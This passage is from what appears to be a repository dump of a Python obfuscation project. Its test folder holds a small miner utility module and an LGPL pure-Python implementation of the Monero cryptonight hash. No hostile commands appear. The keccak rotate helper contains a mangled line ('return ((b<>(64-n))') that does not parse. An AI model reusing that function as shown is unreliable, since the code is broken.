= 'debug' 9 | LEVEL_ERROR = 'error' 10 | DEBUG = False 11 | 12 | 13 | def log(message, level): 14 | if not DEBUG and level in [LEVEL_DEBUG, LEVEL_PROTOCOL]: 15 | return 16 | 17 | print("[%s] %s" % (time.strftime("%Y-%m-%d %H:%M:%S"), message)) 18 | 19 | 20 | def human_readable_hashrate(hr): 21 | """Returns a human readable representation of hashrate.""" 22 | 23 | if hr < 1000: 24 | return "%2f hashes/s" % hr 25 | if hr < 10000000: 26 | return "%2f khashes/s" % (hr / 1000) 27 | if hr < 10000000000: 28 | return "%2f Mhashes/s" % (hr / 1000000) 29 | return "%2f Ghashes/s" % (hr / 1000000000) 30 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/crypto_primitives/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/ReadableCryptoMiner/crypto_primitives/__init__.py -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/crypto_primitives/block_ciphers.py: -------------------------------------------------------------------------------- 1 | 2 | def dummy(): 3 | pass 4 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/crypto_primitives/hash_functions.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/测试项目/ReadableCryptoMiner/crypto_primitives/hash_functions.py -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/crypto_primitives/slow_hash_lgplv3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | __author__ = "Patrik Lundin / Thomas Eder" 3 | __copyright__ = "Copyright 2018, nothisispatrik.com" 4 | __license__ = "LGPL v3. Algorithms/constants may be (C) 2014-2018 The Monero project or (C) 2012-2014 The Cryptonote Developers. All code is original" 5 | __email__ = "patrik@nothisispatrik.com / thomas@gaudia-tech.com" 6 | __status__ = "Prototype" 7 | __doc__ = """ 8 | 9 | This is a Python implementation of the cryptonight slow hash. It includes a 10 | short run_tests() with an example call. It is based on (and was checked against) 11 | the original Monero Project code (https://github.com/monero-project/monero) 12 | with and without the 2018 April hard fork variant. 13 | 14 | First version was written for Python 2.7 by Patrik Lundin, 15 | port to Python 3.6 + several tweaks were brought by Thomas Eder 16 | 17 | The cryptonight algorithm remains extremely slow, 18 | around 0.03 hashes per second on a regular i5 CPU. 19 | As such, it's meant more as a consise summary 20 | of the algorithm than usefully runnable code. It's not particularly 21 | optimized, and where possible prior optimization has been removed. 22 | 23 | There are no outside dependencies (except "time" which is only used 24 | in the example) with everything reimplemented in pure python, including 25 | AES, Keccak, Blake, Groestl, JH, and Skein. 26 | """ 27 | 28 | 29 | from functools import reduce 30 | 31 | 32 | # Single AES round, no round key (can be xor:ed in after) 33 | 34 | # Here implemented using TBoxes, which is relativily fast, but 35 | # vulnerable to cache-timing attacks. Not safe for other purposes. 36 | def round(b): 37 | def col(c1, c2, c3, c4): 38 | t = S1[c1] ^ S2[c2] ^ S3[c3] ^ S4[c4] 39 | t1 = t >> 0 & 255 40 | t2 = t >> 8 & 255 41 | t3 = t >> 16 & 255 42 | t4 = t >> 24 & 255 43 | return ( 44 | t1, t2, t3, t4) 45 | 46 | b = col(b[0], b[5], b[10], b[15]) + col(b[4], b[9], b[14], b[3]) + col(b[8], b[13], b[2], b[7]) + col(b[12], b[1], b[6], b[11]) 47 | return b 48 | 49 | # AES key expansion. 50 | 51 | # Specific to CN:s ten rounds. Presumes that round keys follow 52 | # rc(n+1) = rc(n)<<1, which isn't true generally. 53 | def kexp(k): 54 | xk = [ 55 | 0] * 160 56 | xk[:32] = k[:32] 57 | cs = 32 58 | rc = 1 59 | while cs < 160: 60 | t = xk[cs - 4:cs] 61 | if cs % 32 == 0: 62 | t = [ 63 | SBox[t[1]] ^ rc, SBox[t[2]], SBox[t[3]], SBox[t[0]]] 64 | rc *= 2 65 | else: 66 | if cs % 32 == 16: 67 | t = [ 68 | SBox[t[0]], SBox[t[1]], SBox[t[2]], SBox[t[3]]] 69 | xk[cs:(cs + 4)] = [ 70 | xk[cs - 32 + 0] ^ t[0], 71 | xk[cs - 32 + 1] ^ t[1], 72 | xk[cs - 32 + 2] ^ t[2], 73 | xk[cs - 32 + 3] ^ t[3]] 74 | cs += 4 75 | 76 | return xk 77 | 78 | # expand result from initial Keccac into a 2Mb scratchad by 79 | # repeatedly 10 round AES:ing a chunk of data. 80 | def asplode(kec): 81 | xkey = kexp(kec[:32]) 82 | st = kec[64:192] 83 | xk = [ xkey[i:i + 16] for i in range(0, len(xkey), 16) ] 84 | pad = [] 85 | while len(pad) < 2097152: 86 | for j in range(0, len(st), 16): 87 | t = st[j:j + 16] 88 | for i in range(10): 89 | t = round(t) 90 | t = [ a ^ b for a, b in zip(t, xk[i]) ] 91 | pad.extend(t) 92 | st = pad[-128:] 93 | return pad 94 | 95 | # combine final scratchpad into a single block again by xoring and 96 | # then 10 round AESing the blocks over each other one at a time 97 | def implode(pad,kec): 98 | xkey = kexp(kec[32:64]) 99 | xk = [ xkey[i:i + 16] for i in range(0, len(xkey), 16) ] 100 | st = kec[64:192] 101 | for p in range(0,len(pad),128): 102 | for i in range(128): 103 | st[i] ^= pad[p+i] 104 | for i in range(0,128,16): 105 | for r in range(10): 106 | st[i:i+16] = round(st[i:i+16]) 107 | for j in range(16): 108 | st[i+j] ^= xk[r][j] 109 | 110 | kec[64:192] = st 111 | return kec 112 | 113 | # Do the memhard loop. Starting two blocks, read another from scratch pad 114 | # do an AES round on it, xor it by some things, write it back. Then use 115 | # a value from that to read another block, do two 64 bit mul:s and two 116 | # 64 bit adds, some more xors, and write that back. Start over and do it 117 | # again 1<<19 times. 118 | def memhrd(pad, kec, variant=0, tw=[0]*8): 119 | 120 | # convert a series of bytes into two 64 bit words and multiply them 121 | # return as 8 bytes 122 | def mul(a, b): 123 | t1 = a[0] << 0 | a[1] << 8 | a[2] << 16 | a[3] << 24 | a[4] << 32 | a[5] << 40 | a[6] << 48 | a[7] << 56 124 | t2 = b[0] << 0 | b[1] << 8 | b[2] << 16 | b[3] << 24 | b[4] << 32 | b[5] << 40 | b[6] << 48 | b[7] << 56 125 | r = t1 * t2 126 | r1 = r >> 64 127 | r2 = r & 0xffffffffffffffff 128 | return [ r1&255, (r1>>8)&255, (r1>>16)&255, (r1>>24)&255, (r1>>32)&255, (r1>>40)&255, (r1>>48)&255, (r1>>56)&255, r2&0xff, (r2>>8)&255, (r2>>16)&255,(r2>>24)&255, (r2>>32)&255, (r2>>40)&255, (r2>>48)&255, (r2>>56)&255 ] 129 | 130 | # Convert two blocks into four 64 bit numbers and pairwise add them, 131 | # no overflow. Swap order and convert back into bytes 132 | def sumhlf(a, b): 133 | ta1 = a[0] << 0 | a[1] << 8 | a[2] << 16 | a[3] << 24 | a[4] << 32 | a[5] << 40 | a[6] << 48 | a[7] << 56 134 | ta2 = a[8] << 0 | a[9] << 8 | a[10] << 16 | a[11] << 24 | a[12] << 32 | a[13] << 40 | a[14] << 48 | a[15] << 56 135 | tb1 = b[0] << 0 | b[1] << 8 | b[2] << 16 | b[3] << 24 | b[4] << 32 | b[5] << 40 | b[6] << 48 | b[7] << 56 136 | tb2 = b[8] << 0 | b[9] << 8 | b[10] << 16 | b[11] << 24 | b[12] << 32 | b[13] << 40 | b[14] << 48 | b[15] << 56 137 | r1,r2 = (ta1 + tb1 & 18446744073709551615, ta2 + tb2 & 18446744073709551615) 138 | return [ r1&255, (r1>>8)&255, (r1>>16)&255, (r1>>24)&255, (r1>>32)&255, (r1>>40)&255, (r1>>48)&255, (r1>>56)&255, r2&0xff, (r2>>8)&255, (r2>>16)&255,(r2>>24)&255, (r2>>32)&255, (r2>>40)&255, (r2>>48)&255, (r2>>56)&255 ] 139 | 140 | # xor two blocks 141 | def blxor(a, b): 142 | return [ t1 ^ t2 for t1, t2 in zip(a, b) ] 143 | 144 | # pull 17 bits from a block for use as an address in the scratchpad. 145 | # Zeroes out the 4 LSB rather than dividing, making it useful as an 146 | # index in the pad directly. >>4 instead of &.. would give a block 147 | # index, which could then later be <<4 to give an actual location. 148 | def toaddr(a): 149 | return (a[2] << 16 | a[1] << 8 | a[0]) & 2097136 150 | 151 | # make the first two indexes 152 | A = blxor(kec[0:16], kec[32:48]) 153 | B = blxor(kec[16:32], kec[48:64]) 154 | 155 | for i in range(1<<19): 156 | t = toaddr(A) 157 | C = pad[t:t + 16] 158 | C = round(C) 159 | C = blxor(C, A) 160 | pad[t:(t + 16)] = blxor(B, C) 161 | 162 | # After the Apr 2018 hardfork, this will be/was 163 | # added to the loop. This is equivalent to VARIANT1_1 164 | # in the original C. 165 | if variant: 166 | a = pad[t+11] 167 | a = (~a&1)<<4 | ((~a&1)<<4 & a)<<1 | (a&32)>>1 168 | pad[t+11] ^= a 169 | 170 | B = C 171 | t = toaddr(C) 172 | C = pad[t:t + 16] 173 | 174 | P = mul(B, C) 175 | A = sumhlf(A, P) 176 | pad[t:(t + 16)] = A 177 | # this is the second variant add in, equivalent of VARIENT1_2 in 178 | # C. 179 | if variant: 180 | for i in range(8): 181 | pad[t+i+8] ^= tw[i] 182 | A = blxor(A, C) 183 | 184 | return pad 185 | 186 | # Calculate 1600 bit keccak hash from a 200b input. 187 | # This isn't equivalent to the final SHA3 version. 188 | # I don't remember how exactly, but don't expect it to be. 189 | def keccak(inp): 190 | def rol(b,n): 191 | return ((b<>(64-n)) 192 | 193 | s = [sum(a[i]<<(i<<3) for i in range(8)) for a in [inp[i:i+8] for i in range(0,200,8)]] 194 | 195 | xo = [ 0x0000000000000001, 0x0000000000008082, 0x800000000000808a, 196 | 0x8000000080008000, 0x000000000000808b, 0x0000000080000001, 197 | 0x8000000080008081, 0x8000000000008009, 0x000000000000008a, 198 | 0x0000000000000088, 0x0000000080008009, 0x000000008000000a, 199 | 0x000000008000808b, 0x800000000000008b, 0x8000000000008089, 200 | 0x8000000000008003, 0x8000000000008002, 0x8000000000000080, 201 | 0x000000000000800a, 0x800000008000000a, 0x8000000080008081, 202 | 0x8000000000008080, 0x0000000080000001, 0x8000000080008008 ] 203 | 204 | ro = [ 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, 2, 14, 205 | 27, 41, 56, 8, 25, 43, 62, 18, 39, 61, 20, 44 ] 206 | 207 | pn = [ 10, 7, 11, 17, 18, 3, 5, 16, 8, 21, 24, 4, 208 | 15, 23, 19, 13, 12, 2, 20, 14, 22, 9, 6, 1 ] 209 | 210 | for r in range(24): 211 | b0 = s[0]^s[5]^s[10]^s[15]^s[20] 212 | b1 = s[1]^s[6]^s[11]^s[16]^s[21] 213 | b2 = s[2]^s[7]^s[12]^s[17]^s[22] 214 | b3 = s[3]^s[8]^s[13]^s[18]^s[23] 215 | b4 = s[4]^s[9]^s[14]^s[19]^s[24] 216 | 217 | t = b4 ^ rol(b1,1) 218 | s[0] ^=t ; s[5] ^=t ; s[10] ^=t ; s[15] ^=t ; s[20] ^=t 219 | t = b0 ^ rol(b2,1) 220 | s[1] ^=t ; s[6] ^=t ; s[11] ^=t ; s[16] ^=t ; s[21] ^=t 221 | t = b1 ^ rol(b3,1) 222 | s[2] ^=t ; s[7] ^=t ; s[12] ^=t ; s[17] ^=t ; s[22] ^=t 223 | t = b2 ^ rol(b4,1) 224 | s[3] ^=t ; s[8] ^=t ; s[13] ^=t ; s[18] ^=t ; s[23] ^=t 225 | t = b3 ^ rol(b0,1) 226 | s[4] ^=t ; s[9] ^=t ; s[14] ^=t ; s[19] ^=t ; s[24] ^=t 227 | 228 | t = s[1] 229 | for i in range(24): 230 | j = pn[i] 231 | t2 = s[j] 232 | s[j] = rol(t, ro[i]) 233 | t = t2 234 | 235 | for j in range(0,24,5): 236 | b0 = s[j ]; 237 | b1 = s[j + 1]; 238 | b2 = s[j + 2]; 239 | b3 = s[j + 3]; 240 | b4 = s[j + 4]; 241 | s[j ] ^= (b1^0xffffffffffffffff) & b2; 242 | s[j + 1] ^= (b2^0xffffffffffffffff) & b3; 243 | s[j + 2] ^= (b3^0xffffffffffffffff) & b4; 244 | s[j + 3] ^= (b4^0xffffffffffffffff) & b0; 245 | s[j + 4] ^= (b0^0xffffffffffffffff) & b1; 246 | 247 | s[0] ^= xo[r] 248 | 249 | b = reduce(lambda a,b:a+b,[[((a>>(c<<3))&255) for c in range(8)] for a in s]) 250 | return b 251 | 252 | # Blake hash. Assumes 200b input, produces 32b output 253 | 254 | def blake(data): 255 | K=[0x243F6A88,0x85A308D3,0x13198A2E,0x03707344,0xA4093822,0x299F31D0,0x082EFA98,0xEC4E6C89,0x452821E6,0x38D01377,0xBE5466CF,0x34E90C6C,0xC0AC29B7,0xC97C50DD,0x3F84D5B5,0xB5470917] 256 | h=[0x6A09E667,0xBB67AE85,0x3C6EF372,0xA54FF53A,0x510E527F,0x9B05688C,0x1F83D9AB,0x5BE0CD19] 257 | S = blakeS # Constant from bottom of file 258 | data = data+[0x80] + [0x00]*46 + [0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x40] 259 | for (o,t) in [(0,512), (64,1024), (128,1536), (192,1600)]: 260 | m = [ ((data[o+i+0]<<24))| 261 | ((data[o+i+1]<<16))| 262 | ((data[o+i+2]<<8))| 263 | ((data[o+i+3]<<0)) for i in range(0,64,4)] 264 | v = [0]*16 265 | v[ 0: 8] = [h[i] for i in range(8)] 266 | v[ 8:16] = [K[i] for i in range(8)] 267 | v[ 8:12] = [v[8+i] for i in range(4)] 268 | v[12] = v[12] ^ t 269 | v[13] = v[13] ^ t 270 | 271 | ror = lambda x,n: (x >> n) | ((x << (32-n)) & 0xFFFFFFFF) 272 | for round in range(14): 273 | i = 0 274 | for (a, b, c, d) in [ 275 | ( 0, 4, 8,12), ( 1, 5, 9,13), ( 2, 6,10,14), 276 | ( 3, 7,11,15), ( 0, 5,10,15), ( 1, 6,11,12), 277 | ( 2, 7, 8,13), ( 3, 4, 9,14) ]: 278 | p,q = S[round][i], S[round][i+1] 279 | i += 2 280 | 281 | v[a] = ((v[a] + v[b]) + (m[p] ^ K[q]) ) & 0xFFFFFFFF 282 | v[d] = ror( v[d] ^ v[a], 16) 283 | v[c] = (v[c] + v[d]) & 0xFFFFFFFF 284 | v[b] = ror( v[b] ^ v[c], 12) 285 | 286 | v[a] = ((v[a] + v[b]) + (m[q] ^ K[p]) ) & 0xFFFFFFFF 287 | v[d] = ror( v[d] ^ v[a], 8) 288 | v[c] = (v[c] + v[d]) & 0xFFFFFFFF 289 | v[b] = ror( v[b] ^ v[c], 7) 290 | 291 | h = [h[i]^v[i]^v[i+8] for i in range(8)] 292 | rv = reduce(lambda a,b:a+b,[[(h[i]>>24)&255, (h[i]>>16)&255, (h[i]>>8)&255, (h[i]>>0)&255] for i in range(8)]) 293 | return rv 294 | 295 | # Groestl hash. Assumes 200b input, produces 32b output 296 | def groestl(inp): 297 | def col(x,y,i,c0,c1,c2,c3,c4,c5,c6,c7): 298 | T = groestlT # Constant from bottom of file 299 | y[i] = T[0*256+((x[c0]>>0 )&255)] ^ T[1*256+((x[c1]>>8 )&255)] ^ T[2*256+((x[c2]>>16)&255)] ^ T[3*256+((x[c3]>>24)&255)] ^ T[4*256+((x[c4]>>0 )&255)] ^ T[5*256+((x[c5]>>8 )&255)] ^ T[6*256+((x[c6]>>16)&255)] ^ T[7*256+((x[c7]>>24)&255)] 300 | 301 | def P(x,y,r): 302 | x[ 0] ^= 0x00000000^r 303 | x[ 2] ^= 0x00000010^r 304 | x[ 4] ^= 0x00000020^r 305 | x[ 6] ^= 0x00000030^r 306 | x[ 8] ^= 0x00000040^r 307 | x[10] ^= 0x00000050^r 308 | x[12] ^= 0x00000060^r 309 | x[14] ^= 0x00000070^r 310 | col(x,y, 0, 0, 2, 4, 6, 9, 11, 13, 15) 311 | col(x,y, 1, 9, 11, 13, 15, 0, 2, 4, 6) 312 | col(x,y, 2, 2, 4, 6, 8, 11, 13, 15, 1) 313 | col(x,y, 3, 11, 13, 15, 1, 2, 4, 6, 8) 314 | col(x,y, 4, 4, 6, 8, 10, 13, 15, 1, 3) 315 | col(x,y, 5, 13, 15, 1, 3, 4, 6, 8, 10) 316 | col(x,y, 6, 6, 8, 10, 12, 15, 1, 3, 5) 317 | col(x,y, 7, 15, 1, 3, 5, 6, 8, 10, 12) 318 | col(x,y, 8, 8, 10, 12, 14, 1, 3, 5, 7) 319 | col(x,y, 9, 1, 3, 5, 7, 8, 10, 12, 14) 320 | col(x,y,10, 10, 12, 14, 0, 3, 5, 7, 9) 321 | col(x,y,11, 3, 5, 7, 9, 10, 12, 14, 0) 322 | col(x,y,12, 12, 14, 0, 2, 5, 7, 9, 11) 323 | col(x,y,13, 5, 7, 9, 11, 12, 14, 0, 2) 324 | col(x,y,14, 14, 0, 2, 4, 7, 9, 11, 13) 325 | col(x,y,15, 7, 9, 11, 13, 14, 0, 2, 4) 326 | 327 | def Q(x,y,r): 328 | x[ 0] = x[ 0] ^ 0xffffffff 329 | x[ 1] ^= 0xffffffff^r 330 | x[ 2] = x[ 2] ^ 0xffffffff 331 | x[ 3] ^= 0xefffffff^r 332 | x[ 4] = x[ 4] ^ 0xffffffff 333 | x[ 5] ^= 0xdfffffff^r 334 | x[ 6] = x[ 6] ^ 0xffffffff 335 | x[ 7] ^= 0xcfffffff^r 336 | x[ 8] = x[ 8] ^ 0xffffffff 337 | x[ 9] ^= 0xbfffffff^r 338 | x[10] = x[10] ^ 0xffffffff 339 | x[11] ^= 0xafffffff^r 340 | x[12] = x[12] ^ 0xffffffff 341 | x[13] ^= 0x9fffffff^r 342 | x[14] = x[14] ^ 0xffffffff 343 | x[15] ^= 0x8fffffff^r 344 | col(x,y, 0, 2, 6, 10, 14, 1, 5, 9, 13) 345 | col(x,y, 1, 1, 5, 9, 13, 2, 6, 10, 14) 346 | col(x,y, 2, 4, 8, 12, 0, 3, 7, 11, 15) 347 | col(x,y, 3, 3, 7, 11, 15, 4, 8, 12, 0) 348 | col(x,y, 4, 6, 10, 14, 2, 5, 9, 13, 1) 349 | col(x,y, 5, 5, 9, 13, 1, 6, 10, 14, 2) 350 | col(x,y, 6, 8, 12, 0, 4, 7, 11, 15, 3) 351 | col(x,y, 7, 7, 11, 15, 3, 8, 12, 0, 4) 352 | col(x,y, 8, 10, 14, 2, 6, 9, 13, 1, 5) 353 | col(x,y, 9, 9, 13, 1, 5, 10, 14, 2, 6) 354 | col(x,y,10, 12, 0, 4, 8, 11, 15, 3, 7) 355 | col(x,y,11, 11, 15, 3, 7, 12, 0, 4, 8) 356 | col(x,y,12, 14, 2, 6, 10, 13, 1, 5, 9) 357 | col(x,y,13, 13, 1, 5, 9, 14, 2, 6, 10) 358 | col(x,y,14, 0, 4, 8, 12, 15, 3, 7, 11) 359 | col(x,y,15, 15, 3, 7, 11, 0, 4, 8, 12) 360 | 361 | def F(h,m): 362 | Ptmp = [0]*16; 363 | Qtmp = [0]*16; 364 | y = [0]*16; 365 | z = [0]*16; 366 | 367 | for i in range(16): 368 | z[i] = m[i] 369 | Ptmp[i] = h[i]^m[i] 370 | 371 | Q(z, y, 0x00000000) 372 | Q(y, z, 0x01000000) 373 | Q(z, y, 0x02000000) 374 | Q(y, z, 0x03000000) 375 | Q(z, y, 0x04000000) 376 | Q(y, z, 0x05000000) 377 | Q(z, y, 0x06000000) 378 | Q(y, z, 0x07000000) 379 | Q(z, y, 0x08000000) 380 | Q(y, Qtmp, 0x09000000) 381 | 382 | P(Ptmp, y, 0x00000000) 383 | P(y, z, 0x00000001) 384 | P(z, y, 0x00000002) 385 | P(y, z, 0x00000003) 386 | P(z, y, 0x00000004) 387 | P(y, z, 0x00000005) 388 | P(z, y, 0x00000006) 389 | P(y, z, 0x00000007) 390 | P(z, y, 0x00000008) 391 | P(y, Ptmp, 0x00000009) 392 | 393 | for i in range(16): 394 | h[i] ^= Ptmp[i]^Qtmp[i] 395 | 396 | buf = [0]*16 397 | tmp = [0]*16 398 | y = [0]*16 399 | z = [0]*16 400 | d = [0]*16 401 | 402 | d[15] = 0x00010000 403 | data = [ 404 | (inp[i+3]<<24)| (inp[i+2]<<16)| (inp[i+1]<<8)| (inp[i+0]<<0) 405 | for i in range(0,len(inp),4) ] + [0x80] + [0]*12 + [4<<24] 406 | 407 | F(d,data[0:16]) 408 | F(d,data[16:32]) 409 | F(d,data[32:48]) 410 | F(d,data[48:64]) 411 | 412 | tmp = d[:16] 413 | P(tmp, y, 0x00000000) 414 | P(y, z, 0x00000001) 415 | P(z, y, 0x00000002) 416 | P(y, z, 0x00000003) 417 | P(z, y, 0x00000004) 418 | P(y, z, 0x00000005) 419 | P(z, y, 0x00000006) 420 | P(y, z, 0x00000007) 421 | P(z, y, 0x00000008) 422 | P(y, tmp, 0x00000009) 423 | 424 | rv = [d[j] ^ tmp[j] for j in range(8,16)] 425 | rv = reduce(lambda a,b:a+b,[[a&255,(a>>8)&255, (a>>16)&255, (a>>24)&255] for a in rv]) 426 | return rv 427 | 428 | # JH hash, Assumes 200b input, produces 32b output 429 | def jh(data): 430 | hashval = [32] 431 | A = [0]*256 432 | rc = [0]*64 433 | rcx = [0]*256 434 | tmp = [0]*256 435 | S = [[9,0,4,11,13,12,3,15,1,10,2,6,7,5,8,14],[3,12,6,13,5,7,1,9,15,2,0,4,11,10,14,8]] 436 | rc0 = [0x6,0xa,0x0,0x9,0xe,0x6,0x6,0x7,0xf,0x3,0xb,0xc,0xc,0x9,0x0,0x8,0xb,0x2,0xf,0xb,0x1,0x3,0x6,0x6,0xe,0xa,0x9,0x5,0x7,0xd,0x3,0xe,0x3,0xa,0xd,0xe,0xc,0x1,0x7,0x5,0x1,0x2,0x7,0x7,0x5,0x0,0x9,0x9,0xd,0xa,0x2,0xf,0x5,0x9,0x0,0xb,0x0,0x6,0x6,0x7,0x3,0x2,0x2,0xa] 437 | d = [254,0,64,128,255,254] 438 | 439 | H = [1]+[0]*127 440 | 441 | for b in d: 442 | if b<=128: 443 | for i in range(64): 444 | H[i] ^= data[b+i] 445 | elif b==255: 446 | H[:8] = [H[i]^data[192+i] for i in range(8)] 447 | H[8] ^= 128 448 | rc = rc0[:] 449 | 450 | for i in range(256): 451 | t0 = (H[i>>3] >> (7 - (i & 7)) ) & 1 452 | t1 = (H[(i+256)>>3] >> (7 - (i & 7)) ) & 1 453 | t2 = (H[(i+512 )>>3] >> (7 - (i & 7)) ) & 1 454 | t3 = (H[(i+768 )>>3] >> (7 - (i & 7)) ) & 1 455 | tmp[i] = (t0 << 3) | (t1 << 2) | (t2 << 1) | (t3 << 0) 456 | for i in range(128): 457 | A[i << 1] = tmp[i] 458 | A[(i << 1)+1] = tmp[i+128] 459 | 460 | for r in range(42): 461 | for i in range(256): 462 | rcx[i] = (rc[i >> 2] >> (3 - (i & 3)) ) & 1 463 | for i in range(256): 464 | tmp[i] = S[rcx[i]][A[i]] 465 | for i in range(0,256,2): 466 | t0 = tmp[i+1]^(((tmp[i]<<1)^(tmp[i]>>3)^((tmp[i]>>2)&2))&0xf) 467 | t1 = tmp[i+0]^(((t0<<1)^(t0>>3)^((t0>>2)&2))&0xf) 468 | t2 = (i>>1)&1 469 | tmp[i+t2^1] = t0 470 | tmp[i+t2] = t1 471 | for i in range(128): 472 | A[i] = tmp[i<<1] 473 | A[(i+128)^1] = tmp[(i<<1)+1] 474 | for i in range(64): 475 | tmp[i] = S[0][rc[i]] 476 | for i in range(0,64,2): 477 | tmp[i+1] ^= ((tmp[i]<<1)^(tmp[i]>>3)^((tmp[i]>>2)&2))&0xf 478 | tmp[i] ^= ((tmp[i+1]<<1)^(tmp[i+1]>>3)^((tmp[i+1]>>2)&2))&0xf 479 | for i in range(0,64,4): 480 | t = tmp[i+2] 481 | tmp[i+2] = tmp[i+3] 482 | tmp[i+3] = t 483 | for i in range(32): 484 | rc[i] = tmp[i<<1] 485 | rc[(i+32)^1] = tmp[(i<<1)+1] 486 | 487 | for i in range(128): 488 | tmp[i] = A[i << 1] 489 | tmp[i+128] = A[(i << 1)+1] 490 | for i in range(128): 491 | H[i] = 0 492 | for i in range(256): 493 | t0 = (tmp[i] >> 3) & 1 494 | t1 = (tmp[i] >> 2) & 1 495 | t2 = (tmp[i] >> 1) & 1 496 | t3 = (tmp[i] >> 0) & 1 497 | H[i>>3] |= t0 << (7 - (i & 7)) 498 | H[(i + 256)>>3] |= t1 << (7 - (i & 7)) 499 | H[(i + 512)>>3] |= t2 << (7 - (i & 7)) 500 | H[(i + 768)>>3] |= t3 << (7 - (i & 7)) 501 | 502 | if b<=128: 503 | for i in range(64): 504 | H[i+64] ^= data[b+i] 505 | elif(b==255): 506 | for i in range(8): 507 | H[64+i] ^= data[192+i] 508 | H[8+64] ^= 128 509 | H[63] ^= 64 510 | H[62] ^= 6 511 | H[127] ^= 64 512 | H[126] ^= 6 513 | return H[96:] 514 | 515 | # Skein hash. Assumes 200b input, produces 32b output 516 | def skein(data): 517 | def M(x): # Mask down to 64 bin 518 | return x & 0xffffffffffffffff 519 | def R64(x, p, n): # Rotate left, 64 bit 520 | x[p] = M((x[p] << n) | (x[p] >> (64-n))) 521 | def Add(x, a, b): # 64 bit add, no overflow 522 | x[a] = M(x[a]+x[b]) 523 | 524 | def R512(X,p0,p1,p2,p3,p4,p5,p6,p7,q): 525 | Rk = [ [46, 36, 19, 37], [33, 27, 14, 42], [17, 49, 36, 39], [44, 9, 54, 56], [39, 30, 34, 24], [13, 50, 10, 17], [25, 29, 39, 43], [ 8, 35, 56, 22]] 526 | 527 | Add(X,p0,p1) 528 | R64(X,p1,Rk[q][0]) 529 | X[p1] ^= X[p0] 530 | 531 | Add(X,p2,p3) 532 | R64(X,p3,Rk[q][1]) 533 | X[p3] ^= X[p2] 534 | 535 | Add(X,p4,p5) 536 | R64(X,p5,Rk[q][2]) 537 | X[p5] ^= X[p4] 538 | 539 | Add(X,p6,p7) 540 | R64(X,p7,Rk[q][3]) 541 | X[p7] ^= X[p6] 542 | 543 | # Skein types and lengths. Since it's just five blocks, always 544 | # same length and such, they're constant. Here as TYPE | LEN, 545 | # as it is stored in Skeins T(2) 546 | LC = [ 0x7000000000000040, 0x3000000000000080, 0x30000000000000c0, 547 | 0xb0000000000000c8, 0xff00000000000008 ] 548 | # Init vector. Specific to 512-256 hash 549 | L = [ 0,0,0, 0xCCD044A12FDB3E13, 0xE83590301A79A9EB, 550 | 0x55AEA0614F816E6F, 0x2A2767A4AE9B94DB, 0xEC06025E74DD7683, 551 | 0xE7A436CDC4746251, 0xC36FBAF9393AD185, 0x3EEDBA1833EDFC13, 0] 552 | # Keeper of data. Extra length so that after the 200b we send, 553 | # there's enough zeros for another full block, and, for the 554 | # OUT+FINAL block, one with all zeros. 555 | b = [0]*35 556 | # Offset to current data. Hops around 557 | w = 0 558 | # Temp state data 559 | X = [0]*8; 560 | # fill b up with 8b words 561 | for i in range(25): 562 | b[i] = ( 563 | (data[(i*8)+0]<<0)| 564 | (data[(i*8)+1]<<8)| 565 | (data[(i*8)+2]<<16)| 566 | (data[(i*8)+3]<<24)| 567 | (data[(i*8)+4]<<32)| 568 | (data[(i*8)+5]<<40)| 569 | (data[(i*8)+6]<<48)| 570 | (data[(i*8)+7]<<56)) 571 | # Each block.. 572 | for i in range(5): 573 | # T2 = T1^T0, like we stored 574 | L[2] = LC[i] 575 | # T0 = length. Extract with &0xff 576 | L[0] = L[2]&255; 577 | # T2 = type+flags. Exract by removing T0 578 | L[1] = L[2]^L[0]; 579 | # Parity + magic constant. 580 | L[11] = L[3]^L[4]^L[5]^L[6]^L[7]^L[8]^L[9]^L[10]^0x1BD11BDAA9FC1A22; 581 | # Next chunk 582 | w = ((i&3)<<3)+25*(i>>2); 583 | # Init X 584 | for R in range(8): 585 | X[R]= M(b[w+R] + L[R+3]) 586 | X[5]=M(X[5]+L[0]) 587 | X[6]=M(X[6]+L[1]) 588 | 589 | # Rounds 590 | for R in range(0,18,2): 591 | R512(X,0,1,2,3,4,5,6,7,0) 592 | R512(X,2,1,4,7,6,5,0,3,1) 593 | R512(X,4,1,6,3,0,5,2,7,2) 594 | R512(X,6,1,0,7,2,5,4,3,3) 595 | for j in range(8): 596 | X[j] = M(X[j]+L[3+((R+j+1)%9)]) 597 | X[5] = M(X[5]+L[(R+1)%3]) 598 | X[6] = M(X[6]+L[(R+2)%3]) 599 | X[7] = M(X[7]+R+1) 600 | R512(X,0,1,2,3,4,5,6,7,4) 601 | R512(X,2,1,4,7,6,5,0,3,5) 602 | R512(X,4,1,6,3,0,5,2,7,6) 603 | R512(X,6,1,0,7,2,5,4,3,7) 604 | for j in range(8): 605 | X[j] = M(X[j]+L[3+((R+j+2)%9)]) 606 | X[5] = M(X[5]+L[(R+2)%3]) 607 | X[6] = M(X[6]+L[(R+3)%3]) 608 | X[7] = M(X[7]+R+2) 609 | 610 | # Back into state w/ round results 611 | for R in range(8): 612 | L[3+R] = X[R] ^ b[w+R] 613 | 614 | # Done, convert to bytes and shove into h 615 | h = [] 616 | for i in range(4): 617 | h.extend( [ 618 | (L[i+3]>>0)&255, 619 | (L[i+3]>>8)&255, 620 | (L[i+3]>>16)&255, 621 | (L[i+3]>>24)&255, 622 | (L[i+3]>>32)&255, 623 | (L[i+3]>>40)&255, 624 | (L[i+3]>>48)&255, 625 | (L[i+3]>>56)&255] ) 626 | 627 | return h 628 | 629 | # All of the preceeding hash functions are de-generalized to presume 630 | # input length and to only produce specific output length. The will not 631 | # function correctly under other circumstances. 632 | 633 | 634 | # The main cryptonight hash function. Takes 76 bytes input (without 635 | # verifying that) and outputs the final 32 byte hash. Both input 636 | # and output are arrays of 8 bit integers. If "quiet" is set False, 637 | # it'll print what it's doing through off and on the steps. If 638 | # "variant" is set to 